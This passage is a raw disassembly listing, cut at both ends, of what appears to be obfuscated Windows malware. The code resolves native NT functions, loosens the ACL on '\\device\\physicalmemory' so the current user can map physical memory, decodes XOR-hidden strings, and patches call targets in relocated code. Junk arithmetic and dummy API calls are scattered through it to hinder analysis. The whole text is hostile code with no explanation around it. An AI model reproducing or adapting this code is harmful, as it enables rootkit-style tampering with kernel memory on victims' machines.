dword_410770[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401C5D proc near ; CODE XREF: sub_4056EE+691p ; sub_4096E4+C64p var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = word ptr -4 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_4], 76DDh movzx eax, [ebp+var_4] imul eax, 58BEh mov [ebp+var_4], ax mov [ebp+var_1], 0F1h movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al mov ebx, [ebp+arg_4] jmp short loc_401CD6 ; --------------------------------------------------------------------------- loc_401C90: ; CODE XREF: sub_401C5D+80j mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 0Dh jnz short loc_401CD5 lea edi, [ebp+var_9] lea esi, aA__0 ; "<A*_" mov ecx, 5 rep movsb mov eax, [ebp+arg_4] mov edx, ebx sub edx, eax push edx mov edx, [ebp+arg_0] add edx, eax push edx push [ebp+arg_8] call sub_40C674 add esp, 0Ch mov eax, ebx sub eax, [ebp+arg_4] mov edx, [ebp+arg_8] mov byte ptr [edx+eax], 0 mov eax, ebx add eax, 2 jmp short loc_401D44 ; --------------------------------------------------------------------------- loc_401CD5: ; CODE XREF: sub_401C5D+3Aj inc ebx loc_401CD6: ; CODE XREF: sub_401C5D+31j mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 0 jnz short loc_401C90 cmp [ebp+arg_4], 0 jz short loc_401D0B mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 0 jnz short loc_401D0B mov eax, ebx dec eax mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 0Ah jnz short loc_401D0B call sub_40C224 ; GetVersion mov eax, [ebp+arg_8] mov byte ptr [eax], 0 mov eax, [ebp+arg_4] inc eax jmp short loc_401D44 ; --------------------------------------------------------------------------- loc_401D0B: ; CODE XREF: sub_401C5D+86j ; sub_401C5D+8Fj ... mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax call sub_40C3BC ; lstrlenA mov ebx, eax or ebx, ebx jz short loc_401D42 mov [ebp+var_8], 0B3Ch inc [ebp+var_8] mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax push [ebp+arg_8] call sub_40C138 call sub_40C1F4 ; GetProcessHeap mov eax, [ebp+arg_4] add eax, ebx jmp short loc_401D44 ; --------------------------------------------------------------------------- loc_401D42: ; CODE XREF: sub_401C5D+BEj xor eax, eax loc_401D44: ; CODE XREF: sub_401C5D+76j ; sub_401C5D+ACj ... pop edi pop esi pop ebx leave retn sub_401C5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 0CEh push esi push dword ptr [ebp+8] mov eax, dword_43B2D4 lea eax, ds:4361E0h[eax] push eax call sub_40C674 add esp, 0Ch mov dword ptr [ebp-8], 23Dh xor edi, edi jmp short loc_401D99 ; --------------------------------------------------------------------------- loc_401D7F: ; CODE XREF: .text:00401D9Bj mov eax, dword_43B2D4 add eax, edi lea eax, ds:4361E0h[eax] movsx edx, byte ptr [eax] xor edx, 0E9h mov [eax], dl inc edi loc_401D99: ; CODE XREF: .text:00401D7Dj cmp edi, esi jl short loc_401D7F mov dword ptr [ebp-0Ch], 205h mov eax, dword_43B2D4 add eax, esi mov byte ptr ds:dword_4361E0[eax], 0 xor edi, edi mov edi, dword_43B2D4 add dword_43B2D4, 2 mov eax, dword_43B2D4 lea eax, [eax+esi+1] mov dword_43B2D4, eax cmp eax, 0DD5h jle short loc_401DDE and dword_43B2D4, 0 loc_401DDE: ; CODE XREF: .text:00401DD5j lea eax, dword_4361E0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401DE8 proc near ; CODE XREF: sub_402936+74p var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_A = byte ptr -0Ah var_9 = byte ptr -9 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_2], 6420h inc [ebp+var_2] inc dword_43B228 call sub_40C1F4 ; GetProcessHeap mov ebx, [ebp+arg_0] and ds:dword_40DFC0, 0 and ds:dword_41D914, 0 and ds:dword_41D92C, 0 and ds:dword_40F1DC, 0 mov ds:dword_41A6B0, 4 mov ds:dword_413CAC, 4 loc_401E39: ; CODE XREF: sub_401DE8+122j ; sub_401DE8+143j ... mov eax, ebx inc ebx mov al, [eax] mov ds:byte_413CA8, al movzx eax, ds:byte_413CA8 or eax, eax jl loc_4020B1 cmp eax, 0FFh jg loc_4020B1 jmp off_43B2E4[eax*4] ; --------------------------------------------------------------------------- call sub_40C188 ; GetCurrentProcessId loc_401E69: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... or byte ptr ds:dword_41D914, 40h jmp loc_4020B1 ; --------------------------------------------------------------------------- inc dword_43B228 loc_401E7B: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... xor eax, eax cmp byte ptr [ebx], 20h setnz al dec eax and eax, 4 inc eax mov [ebp+var_10], eax add ds:dword_41D92C, eax jmp loc_4020B1 ; --------------------------------------------------------------------------- loc_401E96: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... or byte ptr ds:dword_41D914, 40h test byte ptr [ebx], 38h jnz loc_4020B1 lea edi, [ebp+var_9] lea esi, byte_43B2D8 xor ecx, ecx inc ecx rep movsb loc_401EB4: ; CODE XREF: sub_401DE8+75j ; DATA XREF: .data:0043B2F4o ... test ds:byte_413CA8, 1 jz short loc_401ECD mov eax, ds:dword_41A6B0 add ds:dword_41D92C, eax jmp loc_4020B1 ; --------------------------------------------------------------------------- loc_401ECD: ; CODE XREF: sub_401DE8+D3j inc ds:dword_41D92C jmp loc_4020B1 ; --------------------------------------------------------------------------- loc_401ED8: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... inc ds:dword_41D92C jmp loc_4020B1 ; --------------------------------------------------------------------------- inc dword_43B228 loc_401EE9: ; CODE XREF: sub_401DE8+75j ; DATA XREF: .data:0043B37Co ... test byte ptr ds:dword_41D914, 10h jz short loc_401EF9 xor eax, eax jmp loc_402246 ; --------------------------------------------------------------------------- loc_401EF9: ; CODE XREF: sub_401DE8+108j or byte ptr ds:dword_41D914, 10h mov al, ds:byte_413CA8 mov ds:byte_40F1E8, al jmp loc_401E39 ; --------------------------------------------------------------------------- loc_401F0F: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... test byte ptr ds:dword_41D914, 4 jz short loc_401F1F xor eax, eax jmp loc_402246 ; --------------------------------------------------------------------------- loc_401F1F: ; CODE XREF: sub_401DE8+12Ej call sub_40C194 ; GetCurrentThreadId or byte ptr ds:dword_41D914, 4 jmp loc_401E39 ; --------------------------------------------------------------------------- loc_401F30: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... test byte ptr ds:dword_41D914, 8 jz short loc_401F40 xor eax, eax jmp loc_402246 ; --------------------------------------------------------------------------- loc_401F40: ; CODE XREF: sub_401DE8+14Fj call sub_40C188 ; GetCurrentProcessId or byte ptr ds:dword_41D914, 8 mov al, ds:byte_413CA8 mov ds:byte_41EBD0, al jmp loc_401E39 ; --------------------------------------------------------------------------- loc_401F5B: ; CODE XREF: sub_401DE8+75j ; DATA XREF: .data:0043B47Co test byte ptr ds:dword_41D914, 1 jz short loc_401F6B xor eax, eax jmp loc_402246 ; --------------------------------------------------------------------------- loc_401F6B: ; CODE XREF: sub_401DE8+17Aj call sub_40C1F4 ; GetProcessHeap or byte ptr ds:dword_41D914, 1 mov ds:dword_41A6B0, 2 jmp loc_401E39 ; --------------------------------------------------------------------------- loc_401F86: ; CODE XREF: sub_401DE8+75j ; DATA XREF: .data:0043B480o test byte ptr ds:dword_41D914, 2 jz short loc_401F96 xor eax, eax jmp loc_402246 ; --------------------------------------------------------------------------- loc_401F96: ; CODE XREF: sub_401DE8+1A5j or byte ptr ds:dword_41D914, 2 mov ds:dword_413CAC, 2 jmp loc_401E39 ; --------------------------------------------------------------------------- inc dword_43B228 loc_401FB2: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... inc ds:dword_41D92C or byte ptr ds:dword_41D914, 40h jmp loc_4020B1 ; --------------------------------------------------------------------------- loc_401FC4: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... mov eax, ds:dword_41A6B0 add ds:dword_41D92C, eax or byte ptr ds:dword_41D914, 40h jmp loc_4020B1 ; --------------------------------------------------------------------------- loc_401FDB: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... mov eax, ds:dword_41A6B0 add eax, 2 add ds:dword_41D92C, eax jmp loc_4020B1 ; --------------------------------------------------------------------------- loc_401FEE: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... mov eax, ds:dword_413CAC add ds:dword_40F1DC, eax jmp loc_4020B1 ; --------------------------------------------------------------------------- loc_401FFE: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... mov eax, ds:dword_41A6B0 add ds:dword_41D92C, eax jmp loc_4020B1 ; --------------------------------------------------------------------------- inc dword_43B228 loc_402014: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... add ds:dword_41D92C, 2 jmp loc_4020B1 ; --------------------------------------------------------------------------- loc_402020: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... add ds:dword_41D92C, 3 jmp loc_4020B1 ; --------------------------------------------------------------------------- loc_40202C: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+281j ; DATA XREF: ... xor eax, eax jmp loc_402246 ; --------------------------------------------------------------------------- loc_402033: ; CODE XREF: sub_401DE8+75j ; DATA XREF: .data:0043B320o or byte ptr ds:dword_41D914, 20h mov eax, ebx inc ebx mov al, [eax] mov ds:byte_42EBE0, al movzx eax, ds:byte_42EBE0 or eax, eax jl short loc_4020AA cmp eax, 0Bh jg short loc_40205B jmp off_43B6E4[eax*4] ; --------------------------------------------------------------------------- loc_40205B: ; CODE XREF: sub_401DE8+26Aj cmp eax, 80h jl short loc_4020AA cmp eax, 0CFh jg short loc_4020AA jmp off_43B514[eax*4] ; --------------------------------------------------------------------------- call sub_40C2B4 ; IsDebuggerPresent loc_402075: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+26Cj ... or byte ptr ds:dword_41D914, 40h mov [ebp+var_15], 57h add [ebp+var_15], 11h jmp short loc_4020B1 ; --------------------------------------------------------------------------- inc dword_43B228 jmp short loc_4020B1 ; --------------------------------------------------------------------------- loc_40208E: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+26Cj ... mov eax, ds:dword_41A6B0 add ds:dword_41D92C, eax jmp short loc_4020B1 ; --------------------------------------------------------------------------- loc_40209B: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+26Cj ... inc ds:dword_41D92C or byte ptr ds:dword_41D914, 40h jmp short loc_4020B1 ; --------------------------------------------------------------------------- loc_4020AA: ; CODE XREF: sub_401DE8+75j ; sub_401DE8+265j ... xor eax, eax jmp loc_402246 ; --------------------------------------------------------------------------- loc_4020B1: ; CODE XREF: sub_401DE8+64j ; sub_401DE8+6Fj ... inc dword_43B228 test byte ptr ds:dword_41D914, 40h jz loc_4021CA mov eax, dword_43B2D9 mov [ebp+var_10+2], eax mov eax, ebx inc ebx mov al, [eax] mov ds:byte_42FD00, al call sub_40C1B8 ; RtlGetLastWin32Error movzx eax, ds:byte_42FD00 and eax, 0C0h mov [ebp+var_9], al movzx eax, ds:byte_42FD00 and eax, 7 mov [ebp+var_A], al movzx eax, [ebp+var_9] cmp eax, 0C0h jz loc_4021CA call sub_40C1B8 ; RtlGetLastWin32Error cmp [ebp+var_9], 40h jnz short loc_402117 inc ds:dword_40F1DC loc_402117: ; CODE XREF: sub_401DE8+327j call sub_40C188 ; GetCurrentProcessId movzx eax, [ebp+var_9] cmp eax, 80h jnz short loc_402132 mov eax, ds:dword_413CAC add ds:dword_40F1DC, eax loc_402132: ; CODE XREF: sub_401DE8+33Dj call sub_40C224 ; GetVersion cmp ds:dword_413CAC, 2 jnz short loc_40215F mov [ebp+var_14], 233Fh inc [ebp+var_14] cmp [ebp+var_9], 0 jnz short loc_4021CA cmp [ebp+var_A], 6 jnz short loc_4021CA add ds:dword_40F1DC, 2 jmp short loc_4021CA ; --------------------------------------------------------------------------- loc_40215F: ; CODE XREF: sub_401DE8+356j call sub_40C218 ; GetTickCount cmp [ebp+var_A], 4 jnz short loc_4021A6 lea edi, [ebp+var_10] lea esi, byte_43B2DD xor ecx, ecx inc ecx rep movsb or byte ptr ds:dword_41D914, 80h lea edi, [ebp+var_14+1] lea esi, word_43B2DE mov ecx, 3 rep movsb mov eax, ebx inc ebx mov al, [eax] mov ds:byte_41A6AC, al movzx eax, ds:byte_41A6AC and eax, 7 mov [ebp+var_A], al loc_4021A6: ; CODE XREF: sub_401DE8+380j cmp [ebp+var_A], 5 jnz short loc_4021B9 cmp [ebp+var_9], 0 jnz short loc_4021B9 add ds:dword_40F1DC, 4 loc_4021B9: ; CODE XREF: sub_401DE8+3C2j ; sub_401DE8+3C8j mov byte ptr [ebp+var_10+1], 7 movzx eax, byte ptr [ebp+var_10+1] imul eax, 1630h mov byte ptr [ebp+var_10+1], al loc_4021CA: ; CODE XREF: sub_401DE8+2D6j ; sub_401DE8+318j ... and ds:dword_40F1E0, 0 jmp short loc_4021EB ; --------------------------------------------------------------------------- loc_4021D3: ; CODE XREF: sub_401DE8+40Ej mov eax, ebx inc ebx mov edx, ds:dword_40F1E0 mov al, [eax] mov ds:byte_413CA0[edx], al inc ds:dword_40F1E0 loc_4021EB: ; CODE XREF: sub_401DE8+3E9j mov eax, ds:dword_40F1DC cmp ds:dword_40F1E0, eax jb short loc_4021D3 mov [ebp+var_3], 28h add [ebp+var_3], 1 and ds:dword_40F1E0, 0 jmp short loc_402221 ; --------------------------------------------------------------------------- loc_402209: ; CODE XREF: sub_401DE8+444j mov eax, ebx inc ebx mov edx, ds:dword_40F1E0 mov al, [eax] mov ds:byte_439380[edx], al inc ds:dword_40F1E0 loc_402221: ; CODE XREF: sub_401DE8+41Fj mov eax, ds:dword_41D92C cmp ds:dword_40F1E0, eax jb short loc_402209 call sub_40C2B4 ; IsDebuggerPresent inc dword_43B228 mov eax, ebx sub eax, [ebp+arg_0] mov ds:dword_40DFC0, eax xor eax, eax inc eax loc_402246: ; CODE XREF: sub_401DE8+10Cj ; sub_401DE8+132j ... pop edi pop esi pop ebx leave retn sub_401DE8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_43BF4C lea eax, ds:417390h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_402287 ; --------------------------------------------------------------------------- loc_402270: ; CODE XREF: .text:00402289j mov eax, dword_43BF4C add eax, edi lea eax, ds:417390h[eax] movsx edx, byte ptr [eax] xor edx, 8 mov [eax], dl inc edi loc_402287: ; CODE XREF: .text:0040226Ej cmp edi, esi jl short loc_402270 mov eax, dword_43BF4C add eax, esi mov byte ptr ds:dword_417390[eax], 0 xor edi, edi mov edi, dword_43BF4C mov eax, edi add eax, 6 add eax, esi mov dword_43BF4C, eax inc dword_43BF4C cmp dword_43BF4C, 0DEBh jle short loc_4022C7 and dword_43BF4C, 0 loc_4022C7: ; CODE XREF: .text:004022BEj lea eax, dword_417390[edi] pop edi pop esi pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022D1 proc near ; CODE XREF: sub_402B12+15p var_1 = byte ptr -1 push ebp mov ebp, esp push ecx push edi call sub_40C1B8 ; RtlGetLastWin32Error push offset aNtdll_dll ; "ntdll.dll" call sub_40C1D0 ; GetModuleHandleA mov edi, eax call sub_40C1B8 ; RtlGetLastWin32Error push offset aRtlinitunicode ; "RtlInitUnicodeString" push edi call sub_40C1E8 ; GetProcAddress mov ds:dword_42FCF8, eax call sub_40C2B4 ; IsDebuggerPresent push offset aNtunmapviewofs ; "NtUnmapViewOfSection" push edi call sub_40C1E8 ; GetProcAddress mov ds:dword_41C848, eax push offset aNtopensection ; "NtOpenSection" push edi call sub_40C1E8 ; GetProcAddress mov ds:dword_41A6B8, eax push offset aNtmapviewofsec ; "NtMapViewOfSection" push edi call sub_40C1E8 ; GetProcAddress mov ds:dword_41D924, eax push offset aRtlntstatustod ; "RtlNtStatusToDosError" push edi call sub_40C1E8 ; GetProcAddress mov ds:dword_42FCF4, eax mov [ebp+var_1], 8Fh movzx eax, [ebp+var_1] imul eax, 3981h mov [ebp+var_1], al pop edi leave retn sub_4022D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402355 proc near ; CODE XREF: sub_402B12+158p var_7C = dword ptr -7Ch var_78 = byte ptr -78h var_72 = word ptr -72h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_5E = word ptr -5Eh var_5C = word ptr -5Ch var_59 = byte ptr -59h var_58 = dword ptr -58h var_54 = word ptr -54h var_52 = word ptr -52h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = byte ptr -44h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 7Ch push ebx push esi push edi mov [ebp+var_54], 710Ch sub [ebp+var_54], 1F1Fh mov ax, word_43BFFA mov [ebp+var_72], ax push offset aDevicePhysical ; "\\device\\physicalmemory" lea eax, [ebp+var_68] push eax call ds:dword_42FCF8 call sub_40C1F4 ; GetProcessHeap mov [ebp+var_18], 18h and [ebp+var_14], 0 mov [ebp+var_58], 1546h inc [ebp+var_58] lea eax, [ebp+var_68] mov [ebp+var_10], eax call sub_40C218 ; DATA XREF: sub_43F411+2Fo mov [ebp+var_C], 40h call sub_40C188 ; GetCurrentProcessId and [ebp+var_8], 0 mov [ebp+var_59], 1Ch add [ebp+var_59], 1 and [ebp+var_4], 0 mov [ebp+var_5C], 3052h inc [ebp+var_5C] and [ebp+var_30], 0 call sub_40C224 ; GetVersion and [ebp+var_2C], 0 mov ebx, 3259h mov eax, 2A8Fh mul ebx mov [ebp+var_7C], eax mov ebx, eax mov [ebp+var_28], 1 mov ebx, 0DEEh mov eax, ebx add eax, ebx mov ebx, eax mov [ebp+var_24], 1 lea eax, aCurrent_user ; "CURRENT_USER" mov [ebp+var_20], eax mov [ebp+var_50], 2 call sub_40C224 ; GetVersion mov [ebp+var_4C], 1 mov ebx, 6B52h add ebx, 702Ah and [ebp+var_48], 0 call sub_40C224 ; GetVersion lea edi, [ebp+var_44] lea esi, [ebp+var_30] mov ecx, 5 rep movsd mov [ebp+var_52], 3C8Bh movzx eax, [ebp+var_52] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_52], ax lea eax, [ebp+var_18] push eax push 60000h lea eax, [ebp+var_1C] push eax call ds:dword_41A6B8 lea eax, [ebp+var_78] push eax push 0 lea eax, [ebp+var_6C] push eax push 0 push 0 push 4 push 6 push [ebp+var_1C] call sub_40C5D8 ; GetSecurityInfo mov [ebp+var_5E], 4CDAh movzx eax, [ebp+var_5E] imul eax, 5882h mov [ebp+var_5E], ax lea eax, [ebp+var_70] push eax push [ebp+var_6C] lea eax, [ebp+var_50] push eax mov eax, 10h sub eax, dword_43BF48 push eax call sub_40C5F0 ; SetEntriesInAclA call sub_40C188 ; GetCurrentProcessId push 0 push [ebp+var_70] push 0 push 0 push 4 push 6 push [ebp+var_1C] call sub_40C5E4 ; SetSecurityInfo push [ebp+var_1C] call sub_40C1DC ; CloseHandle call sub_40C224 ; GetVersion lea eax, [ebp+var_18] push eax push [ebp+var_50] lea eax, [ebp+var_1C] push eax call ds:dword_41A6B8 mov eax, [ebp+var_1C] pop edi pop esi pop ebx leave retn sub_402355 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F3 proc near ; CODE XREF: sub_402B12+228p var_1E = byte ptr -1Eh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push esi push edi mov [ebp+var_4], 10C8h mov eax, [ebp+var_4] mov edx, eax add edx, eax mov [ebp+var_4], edx mov eax, [ebp+arg_4] mov [ebp+var_10], eax mov ecx, [ebp+arg_8] mov [ebp+var_8], ecx and [ebp+var_C], 0 xor edx, edx mov [ebp+var_14], edx mov [ebp+var_18], eax lea edi, [ebp+var_1E] lea esi, aZ9daw ; "z9Daw" mov ecx, 3 rep movsw push 4 push 0 push 1 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_8] push 0 lea eax, [ebp+var_C] push eax push 0FFFFFFFFh push [ebp+arg_0] call ds:dword_41D924 call sub_40C218 ; GetTickCount mov eax, [ebp+var_C] pop edi pop esi leave retn sub_4024F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402563 proc near ; CODE XREF: sub_402B12+334p var_4 = word ptr -4 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_1], 0F7h add [ebp+var_1], 0EBh push [ebp+arg_0] push 0FFFFFFFFh call ds:dword_41C848 mov [ebp+var_4], 5462h movzx eax, [ebp+var_4] imul eax, 2138h mov [ebp+var_4], ax leave retn sub_402563 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 379h push esi push dword ptr [ebp+8] mov eax, dword_43C00C lea eax, ds:412C90h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_4025D6 ; --------------------------------------------------------------------------- loc_4025BF: ; CODE XREF: .text:004025D8j mov eax, dword_43C00C add eax, edi lea eax, ds:412C90h[eax] movsx edx, byte ptr [eax] xor edx, 6Bh mov [eax], dl inc edi loc_4025D6: ; CODE XREF: .text:004025BDj cmp edi, esi jl short loc_4025BF mov dword ptr [ebp-8], 33Dh mov eax, dword_43C00C add eax, esi mov byte ptr ds:dword_412C90[eax], 0 xor edi, edi mov edi, dword_43C00C add dword_43C00C, 2 mov eax, dword_43C00C add eax, 2 add eax, esi mov dword_43C00C, eax add dword_43C00C, 3 cmp dword_43C00C, 0DB3h jle short loc_402628 and dword_43C00C, 0 loc_402628: ; CODE XREF: .text:0040261Fj mov dword ptr [ebp-0Ch], 65h lea eax, dword_412C90[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402639 proc near ; CODE XREF: sub_402936+1C1p var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = word ptr -0Ch var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi call sub_40C188 ; GetCurrentProcessId lea edi, [ebp+var_8] lea esi, dword_43C104 movsd movsd xor ebx, ebx loc_402654: ; CODE XREF: sub_402639+2F2j call sub_40C224 ; GetVersion mov eax, [ebp+arg_0] movzx edx, byte ptr [eax+ebx] cmp edx, 0FFh jnz short loc_40269F movzx edx, byte ptr [ebx+eax+1] cmp edx, 0FFh jnz short loc_40269F movzx edx, byte ptr [ebx+eax+2] cmp edx, 0FFh jnz short loc_40269F movzx edx, byte ptr [ebx+eax+3] cmp edx, 0FFh jnz short loc_40269F movzx eax, byte ptr [ebx+eax+4] cmp eax, 0FFh jz loc_402931 loc_40269F: ; CODE XREF: sub_402639+2Dj ; sub_402639+3Aj ... call sub_40C1F4 ; GetProcessHeap mov eax, [ebp+arg_4] mov edx, [ebp+arg_8] lea eax, [eax+edx+5] mov edx, [ebp+arg_0] mov dl, [edx+ebx] mov [eax+ebx], dl call sub_40C1B8 ; RtlGetLastWin32Error mov [ebp+var_9], 0 loc_4026C0: ; CODE XREF: sub_402639+178j mov eax, [ebp+arg_0] movzx edx, [ebp+var_9] imul edx, 0Ch movzx edx, byte_43C098[edx] movzx ecx, byte ptr [eax+ebx] cmp ecx, edx jnz loc_402797 mov ecx, ebx dec ecx movzx ecx, byte ptr [eax+ecx] cmp ecx, edx jnz loc_402797 mov ecx, ebx sub ecx, 2 movzx ecx, byte ptr [eax+ecx] cmp ecx, edx jnz loc_402797 mov ecx, ebx sub ecx, 3 movzx ecx, byte ptr [eax+ecx] cmp ecx, edx jnz loc_402797 mov edx, ebx sub edx, 4 movzx eax, byte ptr [eax+edx] cmp eax, 0E8h jnz short loc_402797 mov [ebp+var_A], 0E0h add [ebp+var_A], 1 movzx eax, [ebp+var_9] imul eax, 0Ch push off_43C0A0[eax] call sub_40C1D0 ; GetModuleHandleA movzx edi, [ebp+var_9] imul edi, 0Ch push off_43C09C[edi] push eax call sub_40C1E8 ; GetProcAddress mov [ebp+var_10], eax call sub_40C2B4 ; IsDebuggerPresent or eax, 0FFFFFFFFh mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] lea edx, [edx+ecx+5] add edx, ebx sub edx, 4 sub eax, edx add eax, [ebp+var_10] sub eax, 4 mov [ebp+var_14], eax mov ax, word_43C10C mov [ebp+var_16], ax mov eax, [ebp+arg_4] mov edx, ecx lea eax, [eax+edx+5] add eax, ebx sub eax, 4 mov edx, [ebp+var_14] mov ds:1[eax], edx jmp short loc_4027B6 ; --------------------------------------------------------------------------- loc_402797: ; CODE XREF: sub_402639+9Fj ; sub_402639+AEj ... movzx eax, [ebp+var_9] imul eax, 0Ch cmp off_43C09C[eax], 0 jz short loc_4027B6 call sub_40C1B8 ; RtlGetLastWin32Error add [ebp+var_9], 1 jmp loc_4026C0 ; --------------------------------------------------------------------------- loc_4027B6: ; CODE XREF: sub_402639+15Cj ; sub_402639+16Dj mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 4 jnz short loc_402829 mov edx, ebx dec edx cmp byte ptr [eax+edx], 4 jnz short loc_402829 mov edx, ebx sub edx, 2 cmp byte ptr [eax+edx], 4 jnz short loc_402829 mov edx, ebx sub edx, 3 cmp byte ptr [eax+edx], 4 jnz short loc_402829 mov edx, ebx sub edx, 4 movzx edx, byte ptr [eax+edx] cmp dl, 68h jz short loc_4027FF cmp edx, 0BEh jz short loc_4027FF mov edx, ebx sub edx, 5 cmp byte ptr [eax+edx], 24h jnz short loc_402829 loc_4027FF: ; CODE XREF: sub_402639+1B1j ; sub_402639+1B9j lea edi, [ebp+var_A] lea esi, byte_43C10E xor ecx, ecx inc ecx rep movsb mov eax, [ebp+arg_4] add eax, [ebp+arg_8] lea edx, [eax+ebx+5] sub edx, 4 add eax, 7 mov ds:1[edx], eax call sub_40C1B8 ; RtlGetLastWin32Error loc_402829: ; CODE XREF: sub_402639+184j ; sub_402639+18Dj ... mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 2 jnz loc_4028BC mov edx, ebx dec edx cmp byte ptr [eax+edx], 2 jnz short loc_4028BC mov edx, ebx sub edx, 2 cmp byte ptr [eax+edx], 2 jnz short loc_4028BC mov edx, ebx sub edx, 3 cmp byte ptr [eax+edx], 2 jnz short loc_4028BC mov edx, ebx sub edx, 4 movzx eax, byte ptr [eax+edx] cmp eax, 0E8h jz short loc_40286C cmp eax, 0E9h jnz short loc_4028BC loc_40286C: ; CODE XREF: sub_402639+22Aj call sub_40C188 ; GetCurrentProcessId mov eax, [ebp+arg_4] or edx, 0FFFFFFFFh mov ecx, [ebp+arg_8] lea ecx, [eax+ecx+5] add ecx, ebx sub ecx, 4 sub edx, ecx add edx, eax mov eax, edx sub eax, 4 mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov edx, [ebp+arg_8] lea eax, [eax+edx+5] add eax, ebx sub eax, 4 mov edx, [ebp+var_10] mov ds:1[eax], edx mov [ebp+var_C], 692Eh movzx eax, [ebp+var_C] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_C], ax loc_4028BC: ; CODE XREF: sub_402639+1F7j ; sub_402639+204j ... mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 1 jnz short loc_402924 mov edx, ebx dec edx cmp byte ptr [eax+edx], 1 jnz short loc_402924 mov edx, ebx sub edx, 2 cmp byte ptr [eax+edx], 1 jnz short loc_402924 mov edx, ebx sub edx, 3 cmp byte ptr [eax+edx], 1 jnz short loc_402924 mov edx, ebx sub edx, 4 movzx eax, byte ptr [eax+edx] cmp al, 3Dh jz short loc_4028FF cmp eax, 0FEh jz short loc_4028FF cmp eax, 0FFh jnz short loc_402924 loc_4028FF: ; CODE XREF: sub_402639+2B6j ; sub_402639+2BDj call sub_40C1F4 ; GetProcessHeap call sub_40C188 ; GetCurrentProcessId mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] lea edi, [edi+esi+5] add edi, ebx sub edi, 4 mov ds:1[edi], eax call sub_40C224 ; GetVersion loc_402924: ; 